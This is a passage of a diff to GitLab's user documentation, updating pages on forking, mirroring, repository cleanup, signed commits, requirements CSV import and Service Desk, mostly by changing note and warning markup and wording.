**Caution:** +WARNING: When a public project with the repository feature set to "Members only" is forked, the repository will be public in the fork. The owner of the fork will need to manually change the visibility. This is being @@ -52,7 +52,7 @@ The main difference is that with repository mirroring your remote fork will be a Without mirroring, to work locally you'll have to use `git pull` to update your local repository with the upstream project, then push the changes back to your fork to update it. -CAUTION: **Caution:** +WARNING: With mirroring, before approving a merge request, you'll likely be asked to sync; hence automating it is recommended. Read more about [How to keep your fork up to date with its origin](https://about.gitlab.com/blog/2016/12/01/how-to-keep-your-fork-up-to-date-with-its-origin/). @@ -63,7 +63,7 @@ When you are ready to send your code back to the upstream project, [create a merge request](../merge_requests/creating_merge_requests.md). For **Source branch**, choose your forked project's branch. For **Target branch**, choose the original project's branch. -NOTE: **Note:** +NOTE: When creating a merge request, if the forked project's visibility is more restrictive than the parent project (for example the fork is private, the parent is public), the target branch will default to the forked project's default branch. This prevents potentially exposing the private code of the forked project.  diff --git a/doc/user/project/repository/git_blame.md b/doc/user/project/repository/git_blame.md index a423f58ba21..4322c79daa7 100644 --- a/doc/user/project/repository/git_blame.md +++ b/doc/user/project/repository/git_blame.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto description: "Documentation on Git file blame." --- diff --git a/doc/user/project/repository/git_history.md b/doc/user/project/repository/git_history.md index 6cc05d2192f..51cc6bb3483 100644 --- a/doc/user/project/repository/git_history.md +++ b/doc/user/project/repository/git_history.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto description: "Documentation on Git file history." --- diff --git a/doc/user/project/repository/gpg_signed_commits/index.md b/doc/user/project/repository/gpg_signed_commits/index.md index 646d708d896..57e9d814c95 100644 --- a/doc/user/project/repository/gpg_signed_commits/index.md +++ b/doc/user/project/repository/gpg_signed_commits/index.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: concepts, howto --- @@ -15,7 +15,7 @@ commits are labeled **Verified** if the identity of the committer can be verified. To verify the identity of a committer, GitLab requires their public GPG key. -NOTE: **Note:** +NOTE: The term GPG is used for all OpenPGP/PGP/GPG related material and implementations. @@ -53,7 +53,7 @@ started: gpg --full-gen-key ``` - NOTE: **Note:** + NOTE: In some cases like Gpg4win on Windows and other macOS versions, the command here may be `gpg --gen-key`. @@ -142,7 +142,7 @@ started: ## Adding a GPG key to your account -NOTE: **Note:** +NOTE: Once you add a key, you cannot edit it, only remove it. In case the paste didn't work, you'll have to remove the offending key and re-add it. diff --git a/doc/user/project/repository/index.md b/doc/user/project/repository/index.md index 40bf40a3dba..e1d84baec4d 100644 --- a/doc/user/project/repository/index.md +++ b/doc/user/project/repository/index.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- @@ -48,7 +48,7 @@ to your repository's root. **From the user interface:** -GitLab's UI allows you to perform lots of Git commands without having to +The GitLab UI allows you to perform lots of Git commands without having to touch the command line. Even if you use the command line regularly, sometimes it's easier to do so [via GitLab UI](web_editor.md): @@ -67,7 +67,7 @@ To get started with the command line, please read through the ### Find files -Use GitLab's [file finder](file_finder.md) to search for files in a repository. +Use the GitLab [file finder](file_finder.md) to search for files in a repository. ### Supported markup languages and extensions @@ -141,7 +141,7 @@ their filenames include `openapi` or `swagger` and their extension is `yaml`, Then, to render them: -1. Navigate to the OpenAPI file in your repository in GitLab's UI. +1. Navigate to the OpenAPI file in your repository in the GitLab UI. 1. Click the "Display OpenAPI" button which is located between the "Display source" and "Edit" buttons (when an OpenAPI file is found, it replaces the "Display rendered file" button). @@ -189,7 +189,7 @@ updated every 15 minutes at most, so may not reflect recent activity. The displa The project size may differ slightly from one instance to another due to compression, housekeeping, and other factors. -[Repository size limit](../../admin_area/settings/account_and_limit_settings.md) may be set by admins. +[Repository size limit](../../admin_area/settings/account_and_limit_settings.md) may be set by administrators. GitLab.com's repository size limit [is set by GitLab](../../gitlab_com/index.md#account-and-limit-settings). ## Contributors diff --git a/doc/user/project/repository/jupyter_notebooks/index.md b/doc/user/project/repository/jupyter_notebooks/index.md index 69a32841981..91fe9049b53 100644 --- a/doc/user/project/repository/jupyter_notebooks/index.md +++ b/doc/user/project/repository/jupyter_notebooks/index.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference --- # Jupyter Notebook Files diff --git a/doc/user/project/repository/reducing_the_repo_size_using_git.md b/doc/user/project/repository/reducing_the_repo_size_using_git.md index 9f4dfe54c47..fb798738160 100644 --- a/doc/user/project/repository/reducing_the_repo_size_using_git.md +++ b/doc/user/project/repository/reducing_the_repo_size_using_git.md @@ -1,7 +1,7 @@ --- stage: Create group: Gitaly -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -18,12 +18,12 @@ We **recommend [`git filter-repo`](https://github.com/newren/git-filter-repo/blo over [`git filter-branch`](https://git-scm.com/docs/git-filter-branch) and [BFG](https://rtyley.github.io/bfg-repo-cleaner/). -DANGER: **Warning:** +WARNING: Rewriting repository history is a destructive operation. Make sure to back up your repository before you begin. The best way back up a repository is to [export the project](../settings/import_export.md#exporting-a-project-and-its-data). -NOTE: **Note:** +NOTE: Git LFS files can only be removed by an Administrator using a [Rake task](../../../raketasks/cleanup.md). Removal of this limitation [is planned](https://gitlab.com/gitlab-org/gitlab/-/issues/223621). @@ -87,7 +87,7 @@ download all the advertised refs. git push origin --force 'refs/heads/*' ``` - [Protected branches](../protected_branches.md) will cause this to fail. To proceed, you must + [Protected branches](../protected_branches.md) cause this to fail. To proceed, you must remove branch protection, push, and then re-enable protected branches. 1. To remove large files from tagged releases, force push your changes to all tags on GitLab: @@ -96,7 +96,7 @@ download all the advertised refs. git push origin --force 'refs/tags/*' ``` - [Protected tags](../protected_tags.md) will cause this to fail. To proceed, you must remove tag + [Protected tags](../protected_tags.md) cause this to fail. To proceed, you must remove tag protection, push, and then re-enable protected tags. 1. To prevent dead links to commits that no longer exist, push the `refs/replace` created by `git filter-repo`. @@ -109,7 +109,7 @@ download all the advertised refs. 1. Run a [repository cleanup](#repository-cleanup). -NOTE: **Note:** +NOTE: Project statistics are cached for performance. You may need to wait 5-10 minutes to see a reduction in storage utilization. @@ -131,7 +131,7 @@ To purge files from GitLab storage: tar xzf project-backup.tar.gz ``` - This will contain a `project.bundle` file, which was created by + This contains a `project.bundle` file, which was created by [`git bundle`](https://git-scm.com/docs/git-bundle). 1. Clone a fresh copy of the repository from the bundle: @@ -141,12 +141,12 @@ To purge files from GitLab storage: ``` 1. Using `git filter-repo`, purge any files from the history of your repository. Because we are - trying to remove internal refs, we will rely on the `commit-map` produced by each run to tell us + trying to remove internal refs, we rely on the `commit-map` produced by each run to tell us which internal refs to remove. - NOTE: **Note:** + NOTE: `git filter-repo` creates a new `commit-map` file every run, and overwrite the `commit-map` from - the previous run. You will need this file from **every** run. Do the next step every time you run + the previous run. You need this file from **every** run. Do the next step every time you run `git filter-repo`. To purge all large files, the `--strip-blobs-bigger-than` option can be used: @@ -178,7 +178,7 @@ To purge files from GitLab storage: git push origin --force 'refs/heads/*' ``` - [Protected branches](../protected_branches.md) will cause this to fail. To proceed, you must + [Protected branches](../protected_branches.md) cause this to fail. To proceed, you must remove branch protection, push, and then re-enable protected branches. 1. To remove large files from tagged releases, force push your changes to all tags on GitLab: @@ -187,7 +187,7 @@ To purge files from GitLab storage: git push origin --force 'refs/tags/*' ``` - [Protected tags](../protected_tags.md) will cause this to fail. To proceed, you must remove tag + [Protected tags](../protected_tags.md) cause this to fail. To proceed, you must remove tag protection, push, and then re-enable protected tags. 1. To prevent dead links to commits that no longer exist, push the `refs/replace` created by `git filter-repo`. @@ -202,19 +202,19 @@ To purge files from GitLab storage: ## Repository cleanup -NOTE: **Note:** -Safely cleaning the repository requires it to be made read-only for the duration -of the operation. This happens automatically, but submitting the cleanup request -will fail if any writes are ongoing, so cancel any outstanding `git push` -operations before continuing. - > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/19376) in GitLab 11.6. -Repository cleanup allows you to upload a text file of objects and GitLab will remove internal Git +Repository cleanup allows you to upload a text file of objects and GitLab removes internal Git references to these objects. You can use [`git filter-repo`](https://github.com/newren/git-filter-repo) to produce a list of objects (in a `commit-map` file) that can be used with repository cleanup. +[Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45058) in GitLab 13.6, +safely cleaning the repository requires it to be made read-only for the duration +of the operation. This happens automatically, but submitting the cleanup request +fails if any writes are ongoing, so cancel any outstanding `git push` +operations before continuing. + To clean up a repository: 1. Go to the project for the repository. @@ -230,25 +230,30 @@ To clean up a repository: 1. Click **Start cleanup**. -This will: +This: -- Remove any internal Git references to old commits. -- Run `git gc` against the repository to remove unreferenced objects. Repacking your repository will temporarily - cause the size of your repository to increase significantly, because the old pack files are not removed until the +- Removes any internal Git references to old commits. +- Runs `git gc --prune=30.minutes.ago` against the repository to remove unreferenced objects. Repacking your repository temporarily + causes the size of your repository to increase significantly, because the old pack files are not removed until the new pack files have been created. -- Unlink any unused LFS objects currently attached to your project, freeing up storage space. -- Recalculate the size of your repository on disk. +- Unlinks any unused LFS objects currently attached to your project, freeing up storage space. +- Recalculates the size of your repository on disk. + +GitLab sends an email notification with the recalculated repository size after the cleanup has completed. -You will receive an email notification with the recalculated repository size after the cleanup has completed. +If the repository size does not decrease, this may be caused by loose objects +being kept around because they were referenced in a Git operation that happened +in the last 30 minutes. Try re-running these steps once the repository has been +dormant for at least 30 minutes. When using repository cleanup, note: - Project statistics are cached. You may need to wait 5-10 minutes to see a reduction in storage utilization. -- Housekeeping prunes loose objects older than 2 weeks. This means objects added in the last 2 weeks - will not be removed immediately. If you have access to the - [Gitaly](../../../administration/gitaly/index.md) server, you may run `git gc --prune=now` to +- The cleanup prunes loose objects older than 30 minutes. This means objects added or referenced in the last 30 minutes + are not be removed immediately. If you have access to the + [Gitaly](../../../administration/gitaly/index.md) server, you may slip that delay and run `git gc --prune=now` to prune all loose objects immediately. -- This process will remove some copies of the rewritten commits from GitLab's cache and database, +- This process removes some copies of the rewritten commits from the GitLab cache and database, but there are still numerous gaps in coverage and some of the copies may persist indefinitely. [Clearing the instance cache](../../../administration/raketasks/maintenance.md#clear-redis-cache) may help to remove some of them, but it should not be depended on for security purposes! @@ -289,8 +294,8 @@ size of the repository, because the earlier commits and blobs still exist. Inste history. We recommend the open-source community-maintained tool [`git filter-repo`](https://github.com/newren/git-filter-repo). -NOTE: **Note:** -Until `git gc` runs on the GitLab side, the "removed" commits and blobs will still exist. You also +NOTE: +Until `git gc` runs on the GitLab side, the "removed" commits and blobs still exist. You also must be able to push the rewritten history to GitLab, which may be impossible if you've already exceeded the maximum size limit. @@ -302,9 +307,9 @@ increased, your only option is to: 1. Prune all the unneeded stuff locally. 1. Create a new project on GitLab and start using that instead. -CAUTION: **Caution:** +WARNING: This process is not suitable for removing sensitive data like password or keys from your repository. -Information about commits, including file content, is cached in the database, and will remain +Information about commits, including file content, is cached in the database, and remain visible even after they have been removed from the repository. ## Troubleshooting diff --git a/doc/user/project/repository/repository_mirroring.md b/doc/user/project/repository/repository_mirroring.md index 1f9835f4f59..96694a9e954 100644 --- a/doc/user/project/repository/repository_mirroring.md +++ b/doc/user/project/repository/repository_mirroring.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/workflow/repository_mirroring.html' --- @@ -11,8 +11,7 @@ Repository mirroring allows for mirroring of repositories to and from external s used to mirror branches, tags, and commits between repositories. A repository mirror at GitLab will be updated automatically. You can also manually trigger an update -at most once every 5 minutes. Follow [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/237891) -for discussions on how to potentially reduce the delay. +at most once every 5 minutes on GitLab.com with [the limit set by the administrator on self-managed instances](../../../administration/instance_limits.md#pull-mirroring-interval). ## Overview @@ -30,7 +29,7 @@ Users with at least [Developer access](../../permissions.md) to the project can immediate update, unless: - The mirror is already being updated. -- 5 minutes haven't elapsed since its last update. +- The [limit for pull mirroring interval seconds](../../../administration/instance_limits.md#pull-mirroring-interval) has not elapsed since its last update. For security reasons, in [GitLab 12.10 and later](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/27166), the URL to the original repository is only displayed to users with @@ -117,14 +116,14 @@ skipped, allowing `master` and `stable` to be updated. The mirror status will reflect that `develop` has diverged and was skipped, and be marked as a failed update. -NOTE: **Note:** +NOTE: After the mirror is created, this option can currently only be modified via the [API](../../../api/remote_mirrors.md). ## Setting up a push mirror from GitLab to GitHub **(CORE)** To set up a mirror from GitLab to GitHub, you need to follow these steps: -1. Create a [GitHub personal access token](https://docs.github.com/en/github/authenticating-to-github/creating-a-personal-access-token) with the `public_repo` box checked. +1. Create a [GitHub personal access token](https://docs.github.com/en/free-pro-team@latest/github/authenticating-to-github/creating-a-personal-access-token) with the `public_repo` box checked. 1. Fill in the **Git repository URL** field using this format: `https://<your_github_username>@github.com/<your_github_group>/<your_github_project>.git`. 1. Fill in **Password** field with your GitHub personal access token. 1. Click the **Mirror repository** button. @@ -137,11 +136,11 @@ The repository will push soon. To force a push, click the **Update now** (**{ret AWS CodeCommit push mirroring is currently the best way to connect GitLab repositories to AWS CodePipeline, as GitLab is not yet supported as one of their Source Code Management (SCM) providers. -Each new AWS Codepipeline needs significant AWS infrastructure setup. It also requires an individual pipeline per branch. +Each new AWS CodePipeline needs significant AWS infrastructure setup. It also requires an individual pipeline per branch. If AWS CodeDeploy is the final step of a CodePipeline, you can, instead, leverage GitLab CI/CD pipelines and simply use the AWS CLI in the final job in `.gitlab-ci.yml` to deploy to CodeDeploy. -NOTE: **Note:** +NOTE: GitLab-to-AWS-CodeCommit push mirroring cannot use SSH authentication until [GitLab issue 34014](https://gitlab.com/gitlab-org/gitlab/-/issues/34014) is resolved. To set up a mirror from GitLab to AWS CodeCommit: @@ -177,7 +176,7 @@ To set up a mirror from GitLab to AWS CodeCommit: 1. Click the **Security credentials** tab. 1. Under **HTTPS Git credentials for AWS CodeCommit** click **Generate credentials**. - NOTE: **Note:** + NOTE: This Git user ID and password is specific to communicating with CodeCommit. Do not confuse it with the IAM user ID or AWS keys of this user. @@ -256,7 +255,7 @@ Changes pushed to the upstream repository will be pulled into the GitLab reposit - Automatically within a certain period of time. - When a [forced update](#forcing-an-update) is initiated. -CAUTION: **Caution:** +WARNING: If you do manually update a branch in the GitLab repository, the branch will become diverged from upstream and GitLab will no longer automatically update this branch to prevent any changes from being lost. Also note that deleted branches and tags in the upstream repository will not be reflected in the GitLab repository. @@ -301,7 +300,7 @@ To get started: 1. Navigate to your project's **Settings > Repository** and expand the **Mirroring repositories** section. 1. Enter an `ssh://` URL for mirroring. -NOTE: **Note:** +NOTE: SCP-style URLs (that is, `git@example.com:group/project.git`) are not supported at this time. Entering the URL adds two buttons to the page: @@ -320,7 +319,7 @@ fingerprints in the open for you to check: - [AWS CodeCommit](https://docs.aws.amazon.com/codecommit/latest/userguide/regions.html#regions-fingerprints) - [Bitbucket](https://support.atlassian.com/bitbucket-cloud/docs/configure-ssh-and-two-step-verification/) -- [GitHub](https://docs.github.com/en/github/authenticating-to-github/githubs-ssh-key-fingerprints) +- [GitHub](https://docs.github.com/en/free-pro-team@latest/github/authenticating-to-github/githubs-ssh-key-fingerprints) - [GitLab.com](../../gitlab_com/index.md#ssh-host-keys-fingerprints) - [Launchpad](https://help.launchpad.net/SSHFingerprints) - [Savannah](http://savannah.gnu.org/maintenance/SshAccess/) @@ -337,7 +336,7 @@ $ cat /etc/ssh/ssh_host*pub | ssh-keygen -E md5 -l -f - 2048 MD5:3f:72:be:3d:62:03:5c:62:83:e8:6e:14:34:3a:85:1d root@example.com (RSA) ``` -NOTE: **Note:** +NOTE: You may need to exclude `-E md5` for some older versions of SSH. When mirroring the repository, GitLab will now check that at least one of the @@ -364,7 +363,7 @@ If you need to change the key at any time, you can remove and re-add the mirror to generate a new key. You'll have to update the other repository with the new key to keep the mirror running. -NOTE: **Note:** +NOTE: The generated keys are stored in the GitLab database, not in the filesystem. Therefore, SSH public key authentication for mirrors cannot be used in a pre-receive hook. @@ -375,7 +374,7 @@ SSH public key authentication for mirrors cannot be used in a pre-receive hook. You can choose to always update your local branches with remote versions, even if they have diverged from the remote. -CAUTION: **Caution:** +WARNING: For mirrored branches, enabling this option results in the loss of local changes. To use this option, check the **Overwrite diverged branches** box when creating a repository mirror. @@ -421,7 +420,7 @@ update button which is available on the **Mirroring repositories** section of th ## Bidirectional mirroring **(STARTER)** -CAUTION: **Caution:** +WARNING: Bidirectional mirroring may cause conflicts. If you configure a GitLab repository to both pull from, and push to, the same remote source, there @@ -464,7 +463,7 @@ To do this: ### Preventing conflicts using a `pre-receive` hook -CAUTION: **Warning:** +WARNING: The solution proposed will negatively impact the performance of Git push operations because they will be proxied to the upstream Git repository. @@ -547,7 +546,7 @@ Note that this sample has a few limitations: ### Mirroring with Perforce Helix via Git Fusion **(STARTER)** -CAUTION: **Warning:** +WARNING: Bidirectional mirroring should not be used as a permanent configuration. Refer to [Migrating from Perforce Helix](../import/perforce.md) for alternative migration approaches. diff --git a/doc/user/project/repository/web_editor.md b/doc/user/project/repository/web_editor.md index 5b82cdbd9e9..24bfeee5e7f 100644 --- a/doc/user/project/repository/web_editor.md +++ b/doc/user/project/repository/web_editor.md @@ -1,7 +1,7 @@ --- stage: Create group: Editor -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -32,7 +32,7 @@ When you are satisfied with your new file, click **Commit Changes** at the botto ### Shortcuts You can use handy shortcuts when editing a file through the Web Editor, which are the same as -the WEB IDE's. For details, see the documentation for [Command Palette](../web_ide/index.md#command-palette). +the Web IDE's. For details, see the documentation for [Command Palette](../web_ide/index.md#command-palette). ### Template dropdowns @@ -53,7 +53,7 @@ has already been created, which creates a link to the license itself.  -NOTE: **Note:** +NOTE: The **Set up CI/CD** button will not appear on an empty repository. You have to at least add a file in order for the button to show up. @@ -94,7 +94,7 @@ the target branch. Click **Create directory** to finish. ## Create a new branch -There are multiple ways to create a branch from GitLab's web interface. +There are multiple ways to create a branch from the GitLab web interface. ### Create a new branch from an issue @@ -106,7 +106,7 @@ The new branch, and later its merge request, will be marked as related to this i Once merged, the MR will automatically close the issue. You can see a **Create merge request** dropdown below the issue description. -NOTE: **Note:** +NOTE: You won't see the **Create merge request** button if there is already a branch with the same name or a referenced merge request or your project has an active fork relationship. diff --git a/doc/user/project/repository/x509_signed_commits/index.md b/doc/user/project/repository/x509_signed_commits/index.md index 9b420d84f50..639bca0d354 100644 --- a/doc/user/project/repository/x509_signed_commits/index.md +++ b/doc/user/project/repository/x509_signed_commits/index.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: concepts, howto --- @@ -28,10 +28,10 @@ For a commit or tag to be *verified* by GitLab: which is usually up to three years. - The signing time is equal or later than commit time. -NOTE: **Note:** +NOTE: Certificate revocation lists are checked on a daily basis via background worker. -NOTE: **Note:** +NOTE: Self signed certificates without `authorityKeyIdentifier`, `subjectKeyIdentifier`, and `crlDistributionPoints` are not supported. We recommend using certificates from a PKI that are in line with diff --git a/doc/user/project/requirements/index.md b/doc/user/project/requirements/index.md index f533f8807d2..9d75c4ab071 100644 --- a/doc/user/project/requirements/index.md +++ b/doc/user/project/requirements/index.md @@ -2,7 +2,7 @@ type: reference, howto stage: Plan group: Certify -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Requirements Management **(ULTIMATE)** @@ -30,9 +30,11 @@ For an overview, see [GitLab 12.10 Introduces Requirements Management](https://w A paginated list of requirements is available in each project, and there you can create a new requirement. +Users with Reporter or higher [permissions](../../permissions.md) can create requirements. + To create a requirement: -1. From your project page, go to **{requirements}** **Requirements**. +1. From your project page, go to **Requirements**. 1. Select **New requirement**. 1. Enter a title and description and select **Create requirement**. @@ -54,8 +56,9 @@ next to the requirement title. > The ability to mark a requirement as Satisfied [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218607) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.5. -You can edit a requirement (if you have the necessary privileges) from the requirements -list page. +You can edit a requirement from the requirements list page. + +Users with Reporter or higher [permissions](../../permissions.md) can edit requirements. To edit a requirement: @@ -66,9 +69,11 @@ To edit a requirement: ## Archive a requirement -You can archive an open requirement (if you have the necessary privileges) while +You can archive an open requirement while you're in the **Open** tab. +Users with Reporter or higher [permissions](../../permissions.md) can archive requirements. + To archive a requirement, select **Archive** (**{archive}**). As soon as a requirement is archived, it no longer appears in the **Open** tab. @@ -77,6 +82,8 @@ As soon as a requirement is archived, it no longer appears in the **Open** tab. You can view the list of archived requirements in the **Archived** tab. +Users with Reporter or higher [permissions](../../permissions.md) can reopen archived requirements. +  To reopen an archived requirement, select **Reopen**. @@ -94,7 +101,7 @@ You can search for a requirement from the requirements list page based on the fo To search for a requirement: -1. In a project, go to **{requirements}** **Requirements > List**. +1. In a project, go to **Requirements > List**. 1. Select the **Search or filter results** field. A dropdown menu appears. 1. Select the requirement author from the dropdown or enter plain text to search by requirement title. 1. Press <kbd>Enter</kbd> on your keyboard to filter the list. @@ -188,3 +195,65 @@ requirements_confirmation: reports: requirements: tmp/requirements.json ``` + +## Import requirements from a CSV file + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/246857) in GitLab 13.7. + +You can import requirements to a project by uploading a CSV file with the columns +`title` and `description`. + +The user uploading the CSV file will be set as the author of the imported requirements. + +Users with Reporter or higher [permissions](../../permissions.md) can import requirements. + +### Import the file + +Before you import your file: + +- Consider importing a test file containing only a few requirements. There is no way to undo a large + import without using the GitLab API. +- Ensure your CSV file meets the [file format](#csv-file-format) requirements. + +To import requirements: + +1. Navigate to a project's Requirements page. + - If the project already has existing requirements, click the import icon (**{import}**) at the + top right. + - For a project without any requirements, click **Import CSV** in the middle of the page. +1. Select the file and click **Import requirements**. + +The file is processed in the background and a notification email is sent +to you after the import is complete. + +### CSV file format + +When importing requirements from a CSV file, it must be formatted in a certain way: + +- **Header row:** CSV files must include the following headers: + `title` and `description`. The headers are case insensitive. +- **Columns:** data from columns other than `title` and `description` is not imported. +- **Separators:** the column separator is automatically detected from the header row. + Supported separator characters are: commas (`,`), semicolons (`;`), and tabs (`\t`). + The row separator can be either `CRLF` or `LF`. +- **Double-quote character:** the double-quote (`"`) character is used to quote fields, + enabling the use of the column separator in a field (see the third line in the + sample CSV data below). To insert a double-quote (`"`) in a quoted + field, use two double-quote characters in succession (`""`). +- **Data rows:** below the header row, succeeding rows must follow the same column + order. The title text is required, while the description is optional and can be left empty. + +Sample CSV data: + +```plaintext +title,description +My Requirement Title,My Requirement Description +Another Title,"A description, with a comma" +"One More Title","One More Description" +``` + +### File size + +The limit depends on the configuration value of Max Attachment Size for the GitLab instance. + +For GitLab.com, it is set to 10 MB. diff --git a/doc/user/project/security_dashboard.md b/doc/user/project/security_dashboard.md index a3da1ec97d3..d9440e8deea 100644 --- a/doc/user/project/security_dashboard.md +++ b/doc/user/project/security_dashboard.md @@ -3,3 +3,6 @@ redirect_to: '../application_security/security_dashboard/index.md' --- This document was moved to [another location](../application_security/security_dashboard/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/service_desk.md b/doc/user/project/service_desk.md index 34a075df990..4f3ca12c582 100644 --- a/doc/user/project/service_desk.md +++ b/doc/user/project/service_desk.md @@ -1,10 +1,10 @@ --- stage: Plan group: Certify -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Service Desk +# Service Desk **(CORE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/149) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.1. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/214839) to [GitLab Starter](https://about.gitlab.com/pricing/) in 13.0. @@ -59,7 +59,7 @@ users will only see the thread through email. ## Configuring Service Desk -NOTE: **Note:** +NOTE: Service Desk is enabled on GitLab.com. You can skip step 1 below; you only need to enable it per project. @@ -76,7 +76,7 @@ Follow these steps to do so: address's format. The older format is still supported, however, allowing existing aliases or contacts to continue working. - DANGER: **Warning:** + WARNING: This email address can be used by anyone to create an issue on this project, whether or not they have access to your GitLab instance. We recommend **putting this behind an alias** so it can be changed if needed, and **[enabling Akismet](../../integration/akismet.md)** on your GitLab @@ -129,10 +129,12 @@ this name in the `From` header. The default display name is `GitLab Support Bot` ### Using custom email address **(CORE ONLY)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2201) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.0. - -NOTE: **Note:** -This feature is disabled by default. For steps to enable it, see [Enable custom email address](#enable-custom-email-address). +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2201) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.0. +> - It was [deployed behind a feature flag](../feature_flags.md), disabled by default. +> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/284656) on GitLab 13.7. +> - It's enabled on GitLab.com. +> - It's recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#disable-custom-email-address). **(CORE ONLY)** If the `service_desk_email` feature flag is enabled in your configuration, then it's possible to create Service Desk issues by sending emails to the @@ -198,18 +200,27 @@ In this case, suppose the `mygroup/myproject` project Service Desk settings has suffix set to `support`, and a user sends an email to `project_contact+mygroup-myproject-support@example.com`. As a result, a new Service Desk issue is created from this email in the `mygroup/myproject` project. -#### Enable custom email address +The configuration options are the same as for configuring +[incoming email](../../administration/incoming_email.md#set-it-up). + +#### Disable custom email address **(CORE ONLY)** + +Service Desk custom email is under development but ready for production use. +It is deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can opt to disable it. -This feature comes with the `service_desk_custom_address` feature flag disabled by default. -To turn on the feature, ask a GitLab administrator with Rails console access to run the following -command: +To enable it: ```ruby Feature.enable(:service_desk_custom_address) ``` -The configuration options are the same as for configuring -[incoming email](../../administration/incoming_email.md#set-it-up). +To disable it: + +```ruby +Feature.disable(:service_desk_custom_address) +``` ## Using Service Desk diff --git a/doc/user/project/settings/import_export.md b/doc/user/project/settings/import_export.md index 3e493f02392..53233cc347e 100644 --- a/doc/user/project/settings/import_export.md +++ b/doc/user/project/settings/import_export.md @@ -1,7 +1,7 @@ --- stage: Manage group: Import -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, howto --- @@ -42,7 +42,7 @@ Note the following: - Exports are stored in a temporary [shared directory](../../../development/shared_files.md) and are deleted every 24 hours by a specific worker. - Group members are exported as project members, as long as the user has - maintainer or admin access to the group where the exported project lives. + maintainer or administrator access to the group where the exported project lives. - Project members with owner access will be imported as maintainers. - Imported users can be mapped by their primary email on self-managed instances, if an administrative user (not an owner) does the import. Otherwise, a supplementary comment is left to mention that the original author and @@ -51,6 +51,9 @@ Note the following: then new branches associated with such merge requests will be created within a project during the import/export. Thus, the number of branches in the exported project could be bigger than in the original project. +- Deploy keys allowed to push to 